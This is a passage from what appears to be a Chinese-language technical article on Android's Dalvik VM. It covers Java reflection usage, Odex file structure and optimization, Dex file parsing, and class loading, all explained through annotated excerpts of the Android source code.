Class classType = ExtendType.class;
Object inst = classType.newInstance();
System.out.println(inst);

(2)调用默认Constructor对象的newInstance方法

1
2
3
4
Class classType = ExtendType.class;
Constructor ctor = classType.getConstructor(null);
Object inst = ctor.newInstance(null);
System.out.println(inst);
  • 调用带参数ctor

(3)调用带参数Constructor对象的newInstance方法

1
2
3
4
5
6
Class classType = ExtendType.class;
Class[] params = {int.class, String.class}; // 可以使用匿名类,下一个例子中可以看到
Constructor ctor = classType.getDeclaredConstructor(params);
Object[] arg = {new Integer(1), "123"};
Object inst = ctor.newInstance(arg);
System.out.println(inst);

6.调用类的函数
通过反射获取类Method对象,调用其Invoke方法调用此函数。

1
2
3
4
5
6
7
8
9
Class classType = ExtendType.class;
Object inst = classType.newInstance();
Method logMethod = classType.getDeclaredMethod("Log", new Class[] {String.class});
logMethod.setAccessible(true);
logMethod.invoke(inst, new Object[] {"test"});
// 输出
Type:Default Constructor
ExtendType:Default Constructor
ExtendType:test

7.设置/获取类的属性值
通过反射获取类的Field对象,调用Field方法设置或获取值。

1
2
3
4
5
6
Class classType = ExtendType.class;
Object inst = classType.newInstance();
Field intField = classType.getField("pubIntExtendField");
intField.setInt(inst, 100);
int value = intField.getInt(inst);
System.out.println(value);

类加载机制

Dalvik虚拟机中,类加载机制的主要功能就是将应用程序中Dalvik操作码以及程序数据提取并加载到虚拟机内部。Dex文件是类加载机制的输入文件,输出是一个名为ClassObject的数据结构实例对象。

工作流程

类加载机制的主要内容及工作流程主要分三点:
(1) 对Dex文件进行验证并优化。
(2) 对优化后的Dex文件进行解析。
(3) 对指定类进行实际加载。

Dex文件的优化与验证

为了保证原Dex文件的数据安全与优化机制的独立性,优化机制重新创建一个.Odex文件,主要包括依赖库关系寄存器映射关系以及类的索引关系

Odex文件结构分析

Dex文件与Odex文件结构对比:

DexOptHeader数据结构定义:

1
2
3
4
5
6
7
8
9
10
11
struct DexOptHeader {
u1 magic[8]; //Odex文件版本标识
u4 dexOffset; // 原Dex文件起始位置偏移量(0x28)
u4 dexLenght; // Dex文件总长度
u4 depsOffset; // Odex文件依赖库列表偏移量
u4 depsLength; // 依赖库信息总长度
u4 optOffset; // 优化数据信息偏移量
u4 optLength; // 优化数据总长度,类索引信息封装在这
u4 flags; // 标识位,用于标示Odex优化与验证选项
u4 checksum; // 文件校验和
}
  1. 依赖库信息

Dependence结构不会被加载进内存,Android源码中也没有它的明确定义,以下为整理形式。

1
2
3
4
5
6
7
8
9
10
11
struct Dependence {
u4 modWhen; // 时间戳
u4 crc; // 校验信息
u4 DALVIK_VM_BUILD; // 虚拟机版本号
u4 numDeps; // 依赖库个数
struct {
u4 len; // name长度
u4 name[len]; // 依赖库名称
kSHA1DigestLen signature; // SHA-1值
} table[numDeps];
};
  1. 类索引信息
1
2
3
4
5
6
7
8
9
struct DexClassLookup {
int size; // 总大小
int numEntries; // 表的项数
struct {
u4 classDescriptorHash; // 类描述符的哈希值
int classDescriptorOffset; // Dex文件中该类描述符的偏移位置
int classDefOffset; // Dex文件中该类定义偏移位置
} table[1];
};

numEntries是通过dexRoundUpPower2()(用于求比一个数大的最小的2的整数次幂,如数为6,结果为8,降低了哈希冲突率)函数生成。

函数执行流程

PackageManagerService->Installer->installd->do_dexopt->dexopt->run_dexopt->/system/bin/dexopt
/system/bin/dexopt的代码位于dalvik/dexopt/OptMain.cpp文件,其中extractAndProcessZip()是优化机制的主控程序。
代码清单 dalvik/dexopt/OptMain.cpp: extractAndProcessZip()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
/*
* Extract "classes.dex" from zipFd into "cacheFd", leaving a little space
* up front for the DEX optimization header.
*/
static int extractAndProcessZip(int zipFd, int cacheFd,
const char* debugFileName, bool isBootstrap, const char* bootClassPath,
const char* dexoptFlagStr)
{
ZipArchive zippy; // 用于描述ZIP压缩文件的数据结构
ZipEntry zipEntry; // 用于表示一个ZIP入口
size_t uncompLen;
long modWhen, crc32;
off_t dexOffset; // 用于表示在Odex文件中,原Dex文件的起始地址
int err;
int result = -1;
int dexoptFlags = 0; /* bit flags, from enum DexoptFlags */
// 设置默认的优化模式
DexClassVerifyMode verifyMode = VERIFY_MODE_ALL;
DexOptimizerMode dexOptMode = OPTIMIZE_MODE_VERIFIED;

memset(&zippy, 0, sizeof(zippy));
/* make sure we're still at the start of an empty file */
if (lseek(cacheFd, 0, SEEK_END) != 0) {
ALOGE("DexOptZ: new cache file '%s' is not empty", debugFileName);
goto bail;
}
/*
* Write a skeletal DEX optimization header. We want the classes.dex
* to come just after it.
*/
err = dexOptCreateEmptyHeader(cacheFd);
if (err != 0)
goto bail;
/* record the file position so we can get back here later */
// 取得Odex文件中原Dex文件的起始位置,实际就是一个Odex文件头部的长度
dexOffset = lseek(cacheFd, 0, SEEK_CUR);
if (dexOffset < 0)
goto bail;
/*
* Open the zip archive, find the DEX entry.
*/
if (dexZipPrepArchive(zipFd, debugFileName, &zippy) != 0) {
ALOGW("DexOptZ: unable to open zip archive '%s'", debugFileName);
goto bail;
}
// 获取目标Dex文件的解压入口
zipEntry = dexZipFindEntry(&zippy, kClassesDex);
if (zipEntry == NULL) {
ALOGW("DexOptZ: zip archive '%s' does not include %s",
debugFileName, kClassesDex);
goto bail;
}
/*
* Extract some info about the zip entry.
*/
if (dexZipGetEntryInfo(&zippy, zipEntry, NULL, &uncompLen, NULL, NULL,
&modWhen, &crc32) != 0)
{
ALOGW("DexOptZ: zip archive GetEntryInfo failed on %s", debugFileName);
goto bail;
}
uncompLen = uncompLen;
modWhen = modWhen;
crc32 = crc32;
/*
* Extract the DEX data into the cache file at the current offset.
* 从ZIP文件将目标Dex文件解压出来,并写入cacheFd所指文件,此时cacheFd所指文件非空,
* 包括一个Odex文件头部加上一个原始的Dex文件
*/
if (dexZipExtractEntryToFile(&zippy, zipEntry, cacheFd) != 0) {
ALOGW("DexOptZ: extraction of %s from %s failed",
kClassesDex, debugFileName);
goto bail;
}
/* Parse the options. */
/*
* 入口参数dexoptFlagStr,对验证优化需求进行分析,dexoptFlagStr实际上是一个字符串,
* 记录了验证优化的要求
*/
if (dexoptFlagStr[0] != '\0') {
const char* opc;
const char* val;
// 设置验证模式
opc = strstr(dexoptFlagStr, "v="); /* verification */
if (opc != NULL) {
switch (*(opc+2)) {
case 'n': verifyMode = VERIFY_MODE_NONE; break;
case 'r': verifyMode = VERIFY_MODE_REMOTE; break;
case 'a': verifyMode = VERIFY_MODE_ALL; break;
default: break;
}
}
// 设置优化模式
opc = strstr(dexoptFlagStr, "o="); /* optimization */
if (opc != NULL) {
switch (*(opc+2)) {
case 'n': dexOptMode = OPTIMIZE_MODE_NONE; break;
case 'v': dexOptMode = OPTIMIZE_MODE_VERIFIED; break;
case 'a': dexOptMode = OPTIMIZE_MODE_ALL; break;
case 'f': dexOptMode = OPTIMIZE_MODE_FULL; break;
default: break;
}
}

opc = strstr(dexoptFlagStr, "m=y"); /* register map */
if (opc != NULL) {
dexoptFlags |= DEXOPT_GEN_REGISTER_MAPS;
}

opc = strstr(dexoptFlagStr, "u="); /* uniprocessor target */
if (opc != NULL) {
switch (*(opc+2)) {
case 'y': dexoptFlags |= DEXOPT_UNIPROCESSOR; break;
case 'n': dexoptFlags |= DEXOPT_SMP; break;
default: break;
}
}
}
/*
* Prep the VM and perform the optimization.
* 完成了原Dex文件的提取以及验证优化选项的设置,即可以开始真正的优化工作,需要
* 初始化一个虚拟机专门用于验证优化工作
*/
if (dvmPrepForDexOpt(bootClassPath, dexOptMode, verifyMode,
dexoptFlags) != 0)
{
ALOGE("DexOptZ: VM init failed");
goto bail;
}
//vmStarted = 1;
/* do the optimization */
if (!dvmContinueOptimization(cacheFd, dexOffset, uncompLen, debugFileName,
modWhen, crc32, isBootstrap))
{
ALOGE("Optimization failed");
goto bail;
}
/* we don't shut the VM down -- process is about to exit */
result = 0;
bail:
dexZipCloseArchive(&zippy);
return result;
}

代码清单 dalvik/vm/analysis/DexPrepare.cpp: dvmContinueOptimization()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
bool dvmContinueOptimization(int fd, off_t dexOffset, long dexLength,
const char* fileName, u4 modWhen, u4 crc, bool isBootstrap)
{
// 声明相关中间变量
DexClassLookup* pClassLookup = NULL; // 类索引信息
RegisterMapBuilder* pRegMapBuilder = NULL; // 寄存器映射关系信息

assert(gDvm.optimizing);
ALOGV("Continuing optimization (%s, isb=%d)", fileName, isBootstrap);

assert(dexOffset >= 0); // 判断输入文件长度非0
// 对目标文件进行合法性检验,Dex文件长度不能小于其文件头长度
if (dexLength < (int) sizeof(DexHeader)) {
ALOGE("too small to be DEX");
return false;
}
// Odex文件中的Dex文件的起始偏移量不能小于Odex文件头的长度
if (dexOffset < (int) sizeof(DexOptHeader)) {
ALOGE("not enough room for opt header");
return false;
}
...
/*
* 将fd所指文件映射到某一内存位置,该位置的起始地址为mapAddr,其大小
* 就为fd所指文件大小,即一个Odex文件头部加上一个Dex文件长度
*/
mapAddr = mmap(NULL, dexOffset + dexLength, PROT_READ|PROT_WRITE,
MAP_SHARED, fd, 0);
if (mapAddr == MAP_FAILED) {
ALOGE("unable to mmap DEX cache: %s", strerror(errno));
goto bail;
}
// 设置相关的验证优化选项
bool doVerify, doOpt;
if (gDvm.classVerifyMode == VERIFY_MODE_NONE) {
doVerify = false;
} else if (gDvm.classVerifyMode == VERIFY_MODE_REMOTE) {
doVerify = !gDvm.optimizingBootstrapClass;
} else /*if (gDvm.classVerifyMode == VERIFY_MODE_ALL)*/ {
doVerify = true;
}

if (gDvm.dexOptMode == OPTIMIZE_MODE_NONE) {
doOpt = false;
} else if (gDvm.dexOptMode == OPTIMIZE_MODE_VERIFIED ||
gDvm.dexOptMode == OPTIMIZE_MODE_FULL) {
doOpt = doVerify;
} else /*if (gDvm.dexOptMode == OPTIMIZE_MODE_ALL)*/ {
doOpt = true;
}
// 重写文件,主要包括:字符顺序调整、结构重新对齐、类验证、字节码优化
success = rewriteDex(((u1*) mapAddr) + dexOffset, dexLength,
doVerify, doOpt, &pClassLookup, NULL);
...
// 对文件进行8字节对齐
off_t depsOffset, optOffset, endOffset, adjOffset;
int depsLength, optLength;
u4 optChecksum;

depsOffset = lseek(fd, 0, SEEK_END); // 取得fd所指文件大小
if (depsOffset < 0) {
ALOGE("lseek to EOF failed: %s", strerror(errno));
goto bail;
}
// depsOffset是dependency list起始地址
adjOffset = (depsOffset + 7) & ~(0x07); // 8字节对齐,adjOffset>=depsOffset
if (adjOffset != depsOffset) {
ALOGV("Adjusting deps start from %d to %d",
(int) depsOffset, (int) adjOffset);
depsOffset = adjOffset;
lseek(fd, depsOffset, SEEK_SET);
}
// 写入依赖库信息
if (writeDependencies(fd, modWhen, crc) != 0) {
ALOGW("Failed writing dependencies");
goto bail;
}
// 计算依赖库长度,调整优化信息的起始地址8字节对齐
optOffset = lseek(fd, 0, SEEK_END);
depsLength = optOffset - depsOffset;

adjOffset = (optOffset + 7) & ~(0x07);
if (adjOffset != optOffset) {
ALOGV("Adjusting opt start from %d to %d",
(int) optOffset, (int) adjOffset);
optOffset = adjOffset;
lseek(fd, optOffset, SEEK_SET);
}
// 写入其他优化信息,包括类索引以及寄存器映射关系
if (!writeOptData(fd, pClassLookup, pRegMapBuilder)) {
ALOGW("Failed writing opt data");
goto bail;
}
...
// 对Odex文件的头部内容进行修正
DexOptHeader optHdr;
memset(&optHdr, 0xff, sizeof(optHdr));
memcpy(optHdr.magic, DEX_OPT_MAGIC, 4);
memcpy(optHdr.magic+4, DEX_OPT_MAGIC_VERS, 4);
optHdr.dexOffset = (u4) dexOffset;
optHdr.dexLength = (u4) dexLength;
optHdr.depsOffset = (u4) depsOffset;
optHdr.depsLength = (u4) depsLength;
optHdr.optOffset = (u4) optOffset;
optHdr.optLength = (u4) optLength;
...
return result;

Dex文件的解析

DexFile数据结构

Dex文件解析的重要目标是为Dex文件生成一个DexFile数据结构。
DexFile结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct DexFile {
const DexOptHeader* pOptHeader; // 优化数据头
const DexHeader* pHeader; // Dex文件头
const DexStringId * pStringIds; // 指向字符串索引区
const DexTypeId* pTypeIds; // 指向类型索引区
const DexFieldId* pFieldIds; // 指向字段索引区
const DexMethodId* pMethodIds; // 指向方法索引区
const DexProtoId* pProtoIds; // 指向原型索引区
const DexClassDef* pClassDefs; // 指向类定义区
const DexLink* pLinkData; // 指向链接数据区

const DexClassLookup* pClassLookup; // 类索引
const void* pRegisterMapPool; // 寄存器映射关系
const u1* baseAddr; // 基地址
int overhead;
}

Dex文件解析流程

  1. 对Odex文件进行完整性校验
  2. 解析Odex文件中的优化数据
  3. 为Dex文件与相关数据结构建立映射关系
  4. 为Dex文件进行校验并计算SHA-1
  5. 保存设置并返回

函数执行流程

Dex文件的解析工作主要由虚拟机源码目录dalvik/vm/RawDexFile.cpp中的dvmRawDexFileOpen()函数完成,这部分工作中称其为主控函数。
代码清单 dalvik/vm/RawDexFile.cpp: dvmRawDexFileOpen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
int dvmRawDexFileOpen(const char* fileName, const char* odexOutputName,
RawDexFile** ppRawDexFile, bool isBootstrap)
{
// 声明函数中间的执行变量
DvmDex* pDvmDex = NULL; // 用于在虚拟机中描述解析的Dex文件
char* cachedName = NULL; // 用于保存执行期间产生的优化Dex文件名
int result = -1; // 设置函数返回值,0表示成功
int dexFd = -1; // 目标Dex文件的文件描述符
int optFd = -1; // 优化Dex文件的文件描述符
u4 modTime = 0; // 文件修改时间参数
u4 adler32 = 0; // 校验和
size_t fileSize = 0;
bool newFile = false; // 标示虚拟机是否需要对Dex文件进行优化
bool locked = false; // 标示优化进程占用
// fileName记录了Dex文件在文件系统中的绝对路径,用open函数根据fileName将目标文件读入内存
dexFd = open(fileName, O_RDONLY);
if (dexFd < 0) goto bail;
/* If we fork/exec into dexopt, don't let it inherit the open fd. */
dvmSetCloseOnExec(dexFd);
// 对dex文件的合法性与正确性进行检验
if (verifyMagicAndGetAdler32(dexFd, &adler32) < 0) {
ALOGE("Error with header for %s", fileName);
goto bail;
}
// 记录文件修改时间并赋值给modTime
if (getModTimeAndSize(dexFd, &modTime, &fileSize) < 0) {
ALOGE("Error with stat for %s", fileName);
goto bail;
}
// 根据目标Dex文件名为其产生相应的Odex文件名,并赋值给cachedName
if (odexOutputName == NULL) {
cachedName = dexOptGenerateCacheFileName(fileName, NULL);
if (cachedName == NULL)
goto bail;
} else {
cachedName = strdup(odexOutputName);
}

ALOGV("dvmRawDexFileOpen: Checking cache for %s (%s)",
fileName, cachedName);
/*
* 尝试根据cachedName所指的Odex文件名在cache中查找并读取Odex文件,如果读取失败或是当前的Odex文件有误
* 则需要重新对Dex文件进行优化(将newFile设为true)
*/
optFd = dvmOpenCachedDexFile(fileName, cachedName, modTime,
adler32, isBootstrap, &newFile, /*createIfMissing=*/true);

if (optFd < 0) {
ALOGI("Unable to open or create cache for %s (%s)",
fileName, cachedName);
goto bail;
}
locked = true;

// 虚拟机根据newFile的值决定是否对Dex文件进行优化
if (newFile) {
u8 startWhen, copyWhen, endWhen;
bool result;
off_t dexOffset;

dexOffset = lseek(optFd, 0, SEEK_CUR);
result = (dexOffset > 0);

if (result) {
startWhen = dvmGetRelativeTimeUsec();
// 将dexFd所指文件复制到optFd所指文件中
result = copyFileToFile(optFd, dexFd, fileSize) == 0;
copyWhen = dvmGetRelativeTimeUsec();
}
// 调用dvmOptimizeDexFile函数对optFd所指文件进行优化
if (result) {
result = dvmOptimizeDexFile(optFd, dexOffset, fileSize,
fileName, modTime, adler32, isBootstrap);
}

if (!result) {
ALOGE("Unable to extract+optimize DEX from '%s'", fileName);
goto bail;
}

endWhen = dvmGetRelativeTimeUsec();
ALOGD("DEX prep '%s': copy in %dms, rewrite %dms",
fileName,
(int) (copyWhen - startWhen) / 1000,
(int) (endWhen - copyWhen) / 1000);
}

// 当Dex文件的优化结束后,将会调用dvmDexFileOpenFromFd函数对该Dex文件进行解析
if (dvmDexFileOpenFromFd(optFd, &pDvmDex) != 0) {
ALOGI("Unable to map cached %s", fileName);
goto bail;
}
...
ALOGV("Successfully opened '%s'", fileName);
// 对入口参数ppRawDexFile进行设置,其作用是用于保存当前处理的Dex文件的相关信息
*ppRawDexFile = (RawDexFile*) calloc(1, sizeof(RawDexFile));
(*ppRawDexFile)->cacheFileName = cachedName; // 保存Odex文件名
(*ppRawDexFile)->pDvmDex = pDvmDex; // 保存DvmDex数据结构
cachedName = NULL; // don't free it below
result = 0;
...
return result;
}

dvmRawDexFileOpen()函数完成目标Dex文件优化后,会调用dvmDexFileOpenFromFd()函数完成Dex文件的后续解析工作。
代码清单 dalvik/vm/DvmDex.cpp: dvmDexFileOpenFromFd()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int dvmDexFileOpenFromFd(int fd, DvmDex** ppDvmDex)
{
// 声明函数执行过程中所用到的中间变量
DvmDex* pDvmDex; // 用于在虚拟机中描述解析的Dex文件
DexFile* pDexFile;
MemMapping memMap;
int parseFlags = kDexParseDefault;
int result = -1;
// 验证Dex文件校验和
if (gDvm.verifyDexChecksum)
parseFlags |= kDexParseVerifyChecksum;

if (lseek(fd, 0, SEEK_SET) < 0) {
ALOGE("lseek rewind failed");
goto bail;
}
// 对目标Dex文件进行映射,并将其设置为只读文件
if (sysMapFileInShmemWritableReadOnly(fd, &memMap) != 0) {
ALOGE("Unable to map file");
goto bail;
}
// Dex文件解析的关键,dexFileParse函数对Dex文件解析,并返回一个DexFile数据结构的实例对象
pDexFile = dexFileParse((u1*)memMap.addr, memMap.length, parseFlags);
if (pDexFile == NULL) {
ALOGE("DEX parse failed");
sysReleaseShmem(&memMap);
goto bail;
}
// allocateAuxStructures函数根据pDexFile对DvmDex数据结构的一些成员变量进行设置。
pDvmDex = allocateAuxStructures(pDexFile);
if (pDvmDex == NULL) {
dexFileFree(pDexFile);
sysReleaseShmem(&memMap);
goto bail;
}
/* tuck this into the DexFile so it gets released later */
sysCopyMap(&pDvmDex->memMap, &memMap);
pDvmDex->isMappedReadOnly = true;
*ppDvmDex = pDvmDex;
result = 0; // 0表示成功

bail:
return result;
}

dvmDexFileOpenFromFd()函数首先对已经优化的Dex文件进行正确性检验,随后调用dexFileParse()函数将目标文件进行解析,目标是将Dex文件与DexFile结构体建立关联。
代码清单 dalvik/libdex/DexFile.cpp: dexFileParse()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
DexFile* dexFileParse(const u1* data, size_t length, int flags)
{
DexFile* pDexFile = NULL; // 结构体指针,用于保存和返回解析结果
const DexHeader* pHeader; // 保存Dex文件头部信息
const u1* magic; // 用于保存Dex文件的魔数
int result = -1;
// Dex文件长度不能小于其文件头的长度
if (length < sizeof(DexHeader)) {
ALOGE("too short to be a valid .dex");
goto bail; /* bad file format */
}

pDexFile = (DexFile*) malloc(sizeof(DexFile));
if (pDexFile == NULL)
goto bail; /* alloc failure */
memset(pDexFile, 0, sizeof(DexFile));
// 对目标文件的magic进行验证,确定其为一个优化的Dex文件
if (memcmp(data, DEX_OPT_MAGIC, 4) == 0) {
magic = data;
if (memcmp(magic+4, DEX_OPT_MAGIC_VERS, 4) != 0) {
ALOGE("bad opt version (0x%02x %02x %02x %02x)",
magic[4], magic[5], magic[6], magic[7]);
goto bail;
}
// 将优化文件头部与DexFile数据结构的pOptHeader成员变量关联
pDexFile->pOptHeader = (const DexOptHeader*) data;
ALOGV("Good opt header, DEX offset is %d, flags=0x%02x",
pDexFile->pOptHeader->dexOffset, pDexFile->pOptHeader->flags);
// 对优化数据进行处理,将各个优化数据与DexFile数据结构中的相应成员变量进行关联
if (!dexParseOptData(data, length, pDexFile))
goto bail;
// 用data变量记录当前文件所分析到的位置,length记录还有多少内容没分析
data += pDexFile->pOptHeader->dexOffset;
length -= pDexFile->pOptHeader->dexOffset;
if (pDexFile->pOptHeader->dexLength > length) {
ALOGE("File truncated? stored len=%d, rem len=%d",
pDexFile->pOptHeader->dexLength, (int) length);
goto bail;
}
length = pDexFile->pOptHeader->dexLength;
}
// 从data所标示的位置将Dex文件中其他各部分数据与DexFile数据结构建立完整的映射关系
dexFileSetupBasicPointers(pDexFile, data);
pHeader = pDexFile->pHeader;

if (!dexHasValidMagic(pHeader)) {
goto bail;
}
// 验证Dex文件校验和
if (flags & kDexParseVerifyChecksum) {
...
}
// 验证SHA-1值
if (kVerifySignature) {
...
}
...
result = 0;
return pDexFile;
}

随着dexFileParse函数结束,Dex文件的解析也告一段落,类加载机制接下来的工作就是根据虚拟机的运行需要,从Dex文件中加载指定类,并将其装入虚拟机的运行时环境中。

运行时环境数据加载

ClassObject数据结构

类加载的最终目标就是为目标类生成一个ClassObject的实例对象,并将其存储在运行时环境中,随时被执行模块引用执行。
代码清单 dalvik/vm/oo/Object.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct ClassObject : Object {
u4 instanceData[CLASS_FIELD_SLOTS];
const char* descriptor; // 类描述符
char* descriptorAlloc;
u4 accessFlags; // 访问标志符
u4 serialNumber; // 虚拟机独有的类序列号
DvmDex* pDvmDex; // 指向所属Dex文件
ClassStatus status; // 类初始化状态
ClassObject* verifyErrorClass; // 错误处理
u4 initThreadId; // 初始化进程ID
size_t objectSize; // 总共的object数
ClassObject* elementClass; // 元素类
int arrayDim; // 数组维数
PrimitiveType primitiveType; // 原始类型索引
ClassObject* super; // 指向超类
Object* classLoader; // 类装载器
InitiatingLoaderList initiatingLoaderList;
/* 这个类中直接实现的接口的数组 */
int interfaceCount;
ClassObject** interfaces;
/* 直接方法 */
int directMethodCount;
Method* directMethods;
/* 这个类中定义的虚方法,通过vtable调用 */
int virtualMethodCount;
Method* virtualMethods;
/* 虚方法表 */
int vtableCount;
Method** vtable;
/* interface table */
int iftableCount;
InterfaceEntry* iftable;
/* 常量池 */
int ifviPoolCount;
int* ifviPool;
/* 实例字段 */
int ifieldCount;
int ifieldRefCount;
InstField* ifields;

u4 refOffsets; // 字段区偏移量
const char* sourceFile; // 源文件名
/* 静态字段 */
int sfieldCount;
StaticField sfields[0];
}

类加载整体流程

  • 获取描述Dex文件的DexFile结构体对象
  • 根据目标类属性选择相应的加载模式
  • 在DexFile数据结构中获取目标类数据在Dex文件中的分布信息
  • 将类数据信息传给实际加载函数

函数执行流程

dalvik/vm/native/dalvik_system_DexFile.cpp中的Dalvik_dalvik_System_DexFile_defineClassNative为这一阶段的主控函数。
Dalvik_dalvik_system_DexFile_defineClassNative->dvmGetRawDexFileDex->dvmDefineClass->findClassNoInit完成实际的加载工作。
代码清单 dalvik/vm/oo/Class.cpp: findClassNoInit()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
static ClassObject* findClassNoInit(const char* descriptor, Object* loader,
DvmDex* pDvmDex)
{
Thread* self = dvmThreadSelf();
ClassObject* clazz; // 类加载的最终形式
bool profilerNotified = false;
/* 判断目标类是否有类加载器,对于系统类,虚拟机将从默认的启动路径实现其加载工作
对于用户类,虚拟机一般情况下使用默认的类加载器实现类加载工作 */
if (loader != NULL) {
LOGVV("#### findClassNoInit(%s,%p,%p)", descriptor, loader,
pDvmDex->pDexFile);
}
...
/* 根据目标类的描述符从hash表(系统已加载类)里查找是否已经有该Class的信息,如果已经加载,则返回
其ClassObject对象,否则,对目标类进行加载*/
clazz = dvmLookupClass(descriptor, loader, true);
if (clazz == NULL) {
const DexClassDef* pClassDef;

dvmMethodTraceClassPrepBegin();
profilerNotified = true;

#if LOG_CLASS_LOADING
u8 startTime = dvmGetThreadCpuTimeNsec();
#endif
/* 判断是否存在DvmDex结构体对象,如果存在,则表示目标类为一个用户类,将从一个解析的Dex文件
中进行加载,对于一个解析过的Dex文件,是一定存在一个DvmDex结构体对象的,故pDvmDex一定不为空
若为空,则表示目标类是一个系统类,虚拟机将调用searchBootPathForClass函数从启动路径下查找并
加载目标类 */
if (pDvmDex == NULL) {
assert(loader == NULL); /* shouldn't be here otherwise */
/* 从BOOTCLASSPATH里那一堆jar包文件中,看看哪个jar包声明了目标类返回的是一个打开了的代
表odex文件的DvmDex对象 */
pDvmDex = searchBootPathForClass(descriptor, &pClassDef);
} else {
// 查找目标类的类定义资源
pClassDef = dexFindClass(pDvmDex->pDexFile, descriptor);
}
...
/* 当获得了加载目标类所需的各项资源,主函数将调用loadClassFromDex函数对目标类进行加载 */
clazz = loadClassFromDex(pDvmDex, pClassDef, loader);
if (dvmCheckException(self)) {
/* class was found but had issues */
if (clazz != NULL) {
dvmFreeClassInnards(clazz);
dvmReleaseTrackedAlloc((Object*) clazz, NULL);
}
goto bail;
}
/* 将目前使用的类锁住,防止其他进程更改 */
dvmLockObject(self, (Object*) clazz);
clazz->initThreadId = self->threadId;

assert(clazz->classLoader == loader);
if (!dvmAddClassToHash(clazz)) { // class对象加到Hash表里
clazz->initThreadId = 0;
dvmUnlockObject(self, (Object*) clazz);

/* Let the GC free the class. */
dvmFreeClassInnards(clazz);
dvmReleaseTrackedAlloc((Object*) clazz, NULL);
/* 从已加载的类的系统Hash表中重新得到类 */
clazz = dvmLookupClass(descriptor, loader, true);
assert(clazz != NULL);
goto got_class;
}
...
/*
* 准备开始连接类,对clazz进行一些处理:
* 1.解析ClassObject对象的基类信息,和它实现了那些接口
* 2.校验:比如父类是final的,那么就不应该有它的派生类等
* 此函数调用成功后,clazz的状态将是CLASS_RESOLVED或CLASS_VERIFIED
*/
if (!dvmLinkClass(clazz)) {
assert(dvmCheckException(self));
/* Make note of the error and clean up the class. */
removeClassFromHash(clazz);
clazz->status = CLASS_ERROR;
dvmFreeClassInnards(clazz);
/* Let any waiters know. */
clazz->initThreadId = 0;
dvmObjectNotifyAll(self, (Object*) clazz);
dvmUnlockObject(self, (Object*) clazz);
...
}
/* 将类的状态增加到全局变量中去 */
gDvm.numLoadedClasses++;
gDvm.numDeclaredMethods +=
clazz->virtualMethodCount + clazz->directMethodCount;
gDvm.numDeclaredInstFields += clazz->ifieldCount;
gDvm.numDeclaredStaticFields += clazz->sfieldCount;
...
/* check some invariants */
assert(dvmIsClassLinked(clazz));
assert(gDvm.classJavaLangClass != NULL);
assert(clazz->clazz == gDvm.classJavaLangClass);
assert(dvmIsClassObject(clazz));
assert(clazz == gDvm.classJavaLangObject || clazz->super != NULL);
if (!dvmIsInterfaceClass(clazz)) {
//ALOGI("class=%s vtableCount=%d, virtualMeth=%d",
// clazz->descriptor, clazz->vtableCount,
// clazz->virtualMethodCount);
assert(clazz->vtableCount >= clazz->virtualMethodCount);
}

bail:
if (profilerNotified)
dvmMethodTraceClassPrepEnd();
assert(clazz != NULL || dvmCheckException(self));
return clazz;
}

调用dvmLookupClass函数判断本类是否已经被加载

  • 已加载:直接使用,结束函数。
  • 未加载:判断能否找到Dex文件,能找到调用dexFindClass在指定Dex文件中根据类的描述符查找相关类(用户类);找不到调用searchBootPathForClass从系统启动基本路径中查找并加载目标类(系统类)。调用loadClassFromDex函数实现加载类达到可运行状态。调用dvmAddClassToHash实现将新加载的类添加到哈希表中方便在此查找。

findClassNoInit函数将调用loadClassFromDex0函数完成对该类的加载工作,返回值为一个ClassObject结构体对象。loadClassFromDex0函数源代码如下:
代码清单 dalvik/vm/oo/Class.cpp: loadClassFromDex0()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
